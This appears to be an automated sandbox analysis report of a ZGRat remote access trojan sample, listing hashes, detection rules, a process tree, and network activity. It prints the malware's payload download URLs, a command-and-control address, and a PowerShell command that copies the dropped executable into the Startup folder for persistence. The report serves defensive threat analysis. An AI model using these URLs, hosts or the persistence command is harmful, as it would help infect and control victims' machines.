zgrat | 2a111b1a6650ea6e6b369583f8afe1bf8c5bb6164cb12f8e833d0638c1c2deaf

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
14/05/2024, 04:46 UTC

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General

Target

db537a09e0185f8b941af6a5d2ceda40.exe
Size

596KB
MD5

db537a09e0185f8b941af6a5d2ceda40
SHA1

8747013070a23b3d9dd386c1baab0cb79cff3786
SHA256

2a111b1a6650ea6e6b369583f8afe1bf8c5bb6164cb12f8e833d0638c1c2deaf
SHA512

1ecd816a35c50ccbb78a3911d517fe292c4ac8431cc54446ffd3136657dc0d1cc793800c5c5bef31cd76847c0c2cf1968c87f68b841a4bd245e1ced7ab3a37c7
SSDEEP

12288:Z48Xz4N3jJuKiMGejML/ldDKdgM/pMp00TIhmP8mWdCcLxUX0M39F+n:ePNT0KR/MqdgMhr6IhmkmWXuEM3Cn

Score

10^/10

zgrat agilenet execution rat

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/1932-2-0x0000000000AA0000-0x0000000000B88000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-4-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-7-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-9-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-11-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-15-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-17-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-21-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-23-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-25-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-19-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-13-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-5-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-54-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-63-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-27-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-29-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-35-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-47-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-55-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-61-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-67-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-65-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-59-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-57-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-51-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-49-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-45-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-43-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-41-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-39-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-37-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-33-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1
behavioral1/memory/1932-31-0x0000000000AA0000-0x0000000000B82000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Downloads MZ/PE file

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rwdjzralu.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rwdjzralu.exe	Powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
7516	rwdjzralu.exe
7648	rwdjzralu.exe

Loads dropped DLL 1 IoCs

pid	Process
7516	rwdjzralu.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/7516-2214-0x00000000059F0000-0x0000000005AC4000-memory.dmp	agile_net

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 7516 set thread context of 7648	7516	rwdjzralu.exe	33

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
7608	Powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
7648	rwdjzralu.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7516	rwdjzralu.exe
7608	Powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	db537a09e0185f8b941af6a5d2ceda40.exe
Token: SeDebugPrivilege	7516	rwdjzralu.exe
Token: SeDebugPrivilege	7648	rwdjzralu.exe
Token: SeDebugPrivilege	7608	Powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 7480 wrote to memory of 7516	7480	taskeng.exe	30
PID 7480 wrote to memory of 7516	7480	taskeng.exe	30
PID 7480 wrote to memory of 7516	7480	taskeng.exe	30
PID 7480 wrote to memory of 7516	7480	taskeng.exe	30
PID 7516 wrote to memory of 7608	7516	rwdjzralu.exe	31
PID 7516 wrote to memory of 7608	7516	rwdjzralu.exe	31
PID 7516 wrote to memory of 7608	7516	rwdjzralu.exe	31
PID 7516 wrote to memory of 7608	7516	rwdjzralu.exe	31
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33
PID 7516 wrote to memory of 7648	7516	rwdjzralu.exe	33

C:\Users\Admin\AppData\Local\Temp\db537a09e0185f8b941af6a5d2ceda40.exe
"C:\Users\Admin\AppData\Local\Temp\db537a09e0185f8b941af6a5d2ceda40.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\system32\taskeng.exe
taskeng.exe {4F7319D5-DF6A-4042-A274-E9D3F1ED7481} S-1-5-21-3691908287-3775019229-3534252667-1000:UOTHCPHQ\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:7480
- C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe
  C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:7516
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rwdjzralu.exe' -Force
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:7608
- - C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe
    "C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of AdjustPrivilegeToken
    PID:7648

Network

DNS

relay-04-static.cloud

db537a09e0185f8b941af6a5d2ceda40.exe

Remote address:

8.8.8.8:53

Request

relay-04-static.cloud

IN A

Response

relay-04-static.cloud

IN A

111.90.145.141
DNS

relay-02-static.network

rwdjzralu.exe

Remote address:

8.8.8.8:53

Request

relay-02-static.network

IN A

Response

relay-02-static.network

IN A

185.196.10.99
GET

http://relay-02-static.network/rkei/Obrada.exe

db537a09e0185f8b941af6a5d2ceda40.exe

Remote address:

185.196.10.99:80

Request

GET /rkei/Obrada.exe HTTP/1.1
Host: relay-02-static.network
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Tue, 14 May 2024 04:46:51 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Sun, 12 May 2024 02:02:04 GMT
ETag: "6a00-6183827c7e3fb"
Accept-Ranges: bytes
Content-Length: 27136
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
GET

http://relay-02-static.network/rkei/581.bin

rwdjzralu.exe

Remote address:

185.196.10.99:80

Request

GET /rkei/581.bin HTTP/1.1
Host: relay-02-static.network
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Tue, 14 May 2024 04:46:59 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Fri, 10 May 2024 14:50:23 GMT
ETag: "cde00-6181aa7cdbd84"
Accept-Ranges: bytes
Content-Length: 843264
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

111.90.145.141:58001

relay-04-static.cloud

db537a09e0185f8b941af6a5d2ceda40.exe

514 B
368 B
7
6
185.196.10.99:80

http://relay-02-static.network/rkei/Obrada.exe

http

db537a09e0185f8b941af6a5d2ceda40.exe

830 B
28.8kB
16
26

HTTP Request

GET http://relay-02-static.network/rkei/Obrada.exe

HTTP Response

200
111.90.145.141:58001

relay-04-static.cloud

db537a09e0185f8b941af6a5d2ceda40.exe

468 B
172 B
6
4
185.196.10.99:80

http://relay-02-static.network/rkei/581.bin

http

rwdjzralu.exe

23.6kB
868.6kB
442
625

HTTP Request

GET http://relay-02-static.network/rkei/581.bin

HTTP Response

200

8.8.8.8:53

relay-04-static.cloud

dns

db537a09e0185f8b941af6a5d2ceda40.exe

67 B
83 B
1
1

DNS Request

relay-04-static.cloud

DNS Response

111.90.145.141
8.8.8.8:53

relay-02-static.network

dns

rwdjzralu.exe

69 B
85 B
1
1

DNS Request

relay-02-static.network

DNS Response

185.196.10.99

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\rwdjzralu.exe

Filesize
26KB

MD5
1f90151f3470f316a645a6617534a0be

SHA1
80dd3641418ff22c353b2d1f0f4c86990cfdaee1

SHA256
aae9e126f03798f15445e8f308bbf43e9bda6a9e1ffaa9fe2dfd75eb65fef74c

SHA512
5609219d6a7ece553032589d9765e7fcf394253fa4df5d64539e231a4350bf9c8b3bfd2ec5ca1904a6584b793f3a174353261e23983f7ac428b7957379eccbcf

Download Submit
memory/1932-0-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

Filesize
4KB

Download
memory/1932-1-0x0000000000DC0000-0x0000000000E5C000-memory.dmp

Filesize
624KB

Download
memory/1932-2-0x0000000000AA0000-0x0000000000B88000-memory.dmp

Filesize
928KB

Download
memory/1932-3-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/1932-4-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-7-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-9-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-11-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-15-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-17-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-21-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-23-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-25-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-19-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-13-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-5-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-54-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-63-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-27-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-29-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-35-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-47-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-55-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-61-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-67-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-65-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-59-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-57-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-51-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-49-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-45-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-43-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-41-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-39-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-37-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-33-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-31-0x0000000000AA0000-0x0000000000B82000-memory.dmp

Filesize
904KB

Download
memory/1932-2205-0x0000000004750000-0x000000000479C000-memory.dmp

Filesize
304KB

Download
memory/1932-2204-0x0000000000B90000-0x0000000000BE6000-memory.dmp

Filesize
344KB

Download
memory/1932-2206-0x00000000050F0000-0x0000000005144000-memory.dmp

Filesize
336KB

Download
memory/1932-3087-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

Filesize
4KB

Download
memory/1932-3089-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/7516-2211-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/7516-2212-0x0000000000C30000-0x0000000000C3C000-memory.dmp

Filesize
48KB

Download
memory/7516-2213-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/7516-2214-0x00000000059F0000-0x0000000005AC4000-memory.dmp

Filesize
848KB

Download
memory/7516-3085-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/7648-2231-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/7648-2232-0x0000000000B40000-0x0000000000C06000-memory.dmp

Filesize
792KB

Download
memory/7648-3086-0x00000000020B0000-0x0000000002106000-memory.dmp

Filesize
344KB

Download